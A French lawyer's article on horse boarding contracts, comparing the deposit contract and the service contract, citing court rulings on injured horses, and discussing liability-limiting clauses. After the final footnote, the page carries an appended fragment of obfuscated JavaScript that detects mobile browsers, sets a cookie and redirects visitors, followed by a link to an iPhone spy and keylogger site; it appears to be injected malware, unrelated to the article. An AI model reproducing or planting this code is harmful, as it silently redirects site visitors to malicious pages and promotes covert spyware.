Mettre son cheval en pension : diverses conséquences juridiques en fonction du contrat de pension choisi

Avoir un cheval, ce n’est pas seulement profiter de séances de travail inoubliables, de balades au petit jour, de compétitions et d’autres moments privilégiés de complicité avec votre compagnon, c’est aussi lui trouver un habitat qui lui convienne.

 

Animal à l’origine sauvage et épris de grands espaces, nous l’avons domestiqué afin de servir nos rêves et notre passion. Le cheval au travail vit désormais près de notre domicile, généralement dans un box et, s’il a un peu de chance, avec quelques mètres carrés d’herbe à sa disposition.

Au regard de l’offre pléthorique et diversifiée, quelle formule choisir pour votre compagnon ? Quels sont vos droits ? Quelles sont les conséquences en cas d’accident ?

Aujourd’hui, l’offre de pension pour les chevaux est abondante et les formules sont très variées : pension en box ou en box nu, pension au pré ou en pré-box, pension « travail », pension « compétition », etc. La formule choisie pour votre compagnon a des conséquences sur vos droits et sur la responsabilité de la personne ou structure à qui vous le confiez. Illustration…

 

1. Illustration

Dans une première espèce (Cour d’appel de Dijon, 9 octobre 2007, n°06/02216), Monsieur et Madame D, propriétaires d’une jument ont conclu avec Monsieur L, exploitant d’un célèbre haras, un contrat de vente de saillie d’un étalon dudit haras ; par ce contrat, il était convenu que le haras réalise l’insémination de la jument de Monsieur et Madame D. Comme prévu, ces derniers ont donc confié à Monsieur L leur jument, accompagnée de son poulain âgé de 3 semaines. Malheureusement, le poulain est décédé accidentellement au pré quelques jours après et Monsieur et Madame D ont assigné le dépositaire (Monsieur L) en responsabilité et indemnisation.

Les juges ont indemnisé Monsieur et Madame D pour leur préjudice subi du fait du décès de leur poulain et ont retenu la responsabilité du dépositaire (Monsieur L) au motif que « il se déduit des circonstances du décès que [Monsieur L] a manqué à l’obligation essentielle du contrat de dépôt salarié qui lui imposait de tout mettre en œuvre pour garder la ‘chose’ confiée [i.e. le poulain] et la restituer ; que faute de justifier du prétendu caractère imprévisible du décès, son manquement à l’obligation essentielle du contrat caractérise une faute lourde permettant (…) de retenir sa responsabilité »

En effet, il est ressorti du rapport d’autopsie que le poulain de Monsieur et Madame D était décédé en fin de nuit, alors qu’il avait été mis au pré avec d’autres juments suitées ; son décès a résulté des conséquences d’une hémorragie interne provoquée par un violent traumatisme sur la cage thoracique, traumatisme probablement occasionné par les autres animaux. C’est donc le manquement du dépositaire (Monsieur L) à son obligation essentielle – restituer le poulain et la jument à leurs propriétaires sains et saufs – dont la preuve a été rapportée notamment par l’autopsie qui est à l’origine de la responsabilité de Monsieur L.

Aussi, dans le cadre d’un contrat de dépôt-salarié (i.e. d’hébergement), le dépositaire a à sa charge une obligation de moyens renforcée, dont il ne peut s’exonérer qu’en rapportant la preuve qu’il n’a pas commis de faute.

Toutefois, les juges ne sont pas toujours aussi sévères à l’égard des dépositaires[1]. Dans une seconde espèce (Cour d’appel de Grenoble, 1er octobre 2012), un propriétaire avait mis sa jument en pension « pré-box » chez un dépositaire ; la jument s’est blessée au pré alors qu’elle était avec d’autres chevaux. Dans cette affaire, les juges ont exclu la responsabilité du dépositaire au motif d’une part que la propriétaire n’avait pas formulé son opposition de mettre sa jument avec d’autres chevaux au pré et d’autre part que le dépositaire a porté les soins adéquats en prévenant immédiatement la propriétaire et en faisant intervenir le vétérinaire aussi vite que possible.

 

2. La distinction entre le contrat de dépôt-salarié et le contrat d’entreprise

En définitive, la conclusion d’un contrat de dépôt-salarié est la formule la plus protectrice juridiquement pour le propriétaire mais certains besoins de cavaliers propriétaires ne peuvent être couverts par ce type de contrat, par exemple en cas de pension travail ou compétition par exemple.

Dans ce cas, dès lors qu’un aspect de la mission du dépositaire est le travail du cheval ou la sortie en compétition (en réalité, tout ce qui est hors hébergement), ce sont les règles relatives au contrat d’entreprise qui s’appliquent ; les obligations pesant sur le responsable sont beaucoup plus légères que dans le cas du contrat de dépôt-salarié. En effet, l’entraîneur est dans ce cas soumis à une obligation de moyens simple ; la preuve de la faute de l’entraîneur incombe au donneur d’ordre, c’est-à-dire au propriétaire du cheval.

Face à un contrat de pension « complexe », les tribunaux réalisent une application distributive des règles de droit : les règles relatives au contrat de dépôt-salarié s’appliquent pour les missions d’hébergement et de soins y relatifs et les règles relatives au contrat d’entreprise s’appliquent aux autres missions (comme l’entraînement par exemple) (Cass. Civ1, 3 juillet 2001).

Dans une affaire datant de quelques années (Cour d’appel de Toulouse, 11 mai 2004), un propriétaire avait confié son cheval à l’entraînement dans une écurie. Malheureusement, le cheval s’est blessé gravement dans le paddock où il avait été lâché après le travail et a dû être euthanasié. Les juges ont retenu que la responsabilité de l’entraîneur relevait du contrat d’entreprise (l’objet principal du contrat conclu entre l’entraîneur et le propriétaire du cheval étant l’entraînement du cheval à la compétition). En l’espèce, le propriétaire n’a pas pu prouver la faute de l’entraîneur, puisque « la mise au paddock d’un cheval après une séance de travail [est] une pratique courante et bénéfique, non constitutive d’une faute » ; la responsabilité de l’entraîneur n’a pas été retenue de ce fait par les juges.

Le contrat de pension peut également contenir des clauses limitatives de responsabilité en faveur du dépositaire. Qu’en est-il dans ce cas ?

 

3. La question des clauses limitatives de responsabilité

Les clauses limitatives de responsabilité sont valables, sauf si elles ont pour but d’exonérer le dépositaire de son obligation essentielle au titre du contrat (par exemple, son obligation de garde). Le dépositaire / entraîneur peut par contre prévoir une clause limitative de responsabilité portant sur une obligation accessoire du contrat. Evidemment, ces clauses limitatives de responsabilité ne joueront pas en cas de faute lourde du dépositaire.

Il peut aussi limiter sa responsabilité en restreignant le champ des préjudices indemnisables (en excluant par exemple le préjudice moral). Il peut également prévoir un plafond maximum d’indemnisation au-delà duquel le préjudice du propriétaire ne sera pas réparé ; une telle clause est valable à la condition que le montant du plafond ne soit pas dérisoire.

Enfin, il est possible pour le propriétaire et le dépositaire de prévoir dans le contrat de pension d’inverser la charge de la preuve. Par exemple, les tribunaux ont reconnu que « les parties à un tel contrat sont libres de convenir de mettre à la charge du déposant [i.e. le propriétaire], qui entend se prévaloir d’un manquement du dépositaire à l’obligation de moyens qui lui incombe, la preuve de ce manquement » (Cass. Civ1, 30 octobre 2007, n° 06-19390).

 

 

Cerner et définir vos besoins et ceux de votre cheval vous permettra de choisir la formule de pension la plus adaptée. Par ailleurs, avoir pleinement connaissance de vos droits en tant que déposant et des différentes conséquences juridiques du contrat de pension, vous permettra de négocier au mieux – le cas échéant – les adaptations dudit contrat suggérées par le dépositaire et/ou l’entraîneur.

 

 

Julie Chapuy, Avocat à la Cour

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Distinction entre les régimes juridiques du contrat de dépôt-salarié et du contrat d’entreprise
  Contrat de dépôt-salarié

(articles 1915 et suivants du Code civil)

Contrat d’entreprise
Objet Hébergement et soins Entraînement, compétition, etc.
Obligation à la charge du dépositaire Obligation de moyens renforcée (le dépositaire doit démontrer une absence de faute) Obligation de moyens simple (le propriétaire doit prouver la faute de l’entraîneur)
Conséquences Responsabilité forte du dépositaire Responsabilité allégée de l’entraîneur
A retenir !
–          Préférer un contrat de pension écrit (bien que de nombreux dépositaires pratiquent la conclusion orale du contrat de pension)

 

–          Bien lire le contrat de pension et ne pas hésiter à demander de l’aide à un juriste qualifié

 

–          Définir de la façon la plus précise possible le contenu du contrat de pension en accord avec le dépositaire

 

–          Veillez à regarder si le contrat contient des clauses limitatives de responsabilité du dépositaire et/ou des plafonds d’indemnisation

 

 

Bibliographie :

Le cheval, contrats et responsabilités, IDE, 2006

 

[1] Au-delà du simple aléa judiciaire, l’on peut raisonnablement penser que les juges ont été particulièrement sévères dans la première espèce (CA Dijon, 9 octobre 2007) au vue des conditions particulières du litige (spécificité des soins et de l’attention à porter à un poulain âgé de 3 semaines notamment). 47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://businessforumz.com/gsp-tracker-keylogger-iphone-spy-stealth/

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